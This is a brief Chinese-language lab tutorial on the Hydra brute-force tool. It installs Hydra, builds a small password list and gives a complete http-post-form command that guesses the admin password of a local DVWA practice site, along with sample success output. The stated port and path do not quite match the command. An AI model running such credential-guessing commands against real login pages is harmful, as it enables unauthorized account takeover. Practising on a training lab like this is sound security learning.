什麼是Hydra
Hydra是一個快速、強大的暴力破解工具,可以對多種協議嘗試帳號密碼組合,常見用途像是測試系統的弱密碼或驗證管理員有沒有設安全密碼。
試試看用Hydra爆破DVWA的登入頁
先輸入brew install hydra
安裝成功後再測試hydra -h
確認成功的畫面應該會看到hydra的使用說明
接著建立一個小字典檔,我新建一個檔案passlist.txt,內容是:
1234
password
admin
letmein
dvwa
開始進行爆破測試,假設DVWA在http://localhost:8080/login.php
可以在終端機輸入hydra -l admin -P passlist.txt 127.0.0.1 http-post-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Login failed"
如果清單裡的密碼正確,Hydra就會顯示:[80][http-post-form] host: 127.0.0.1 login: admin password: dvwa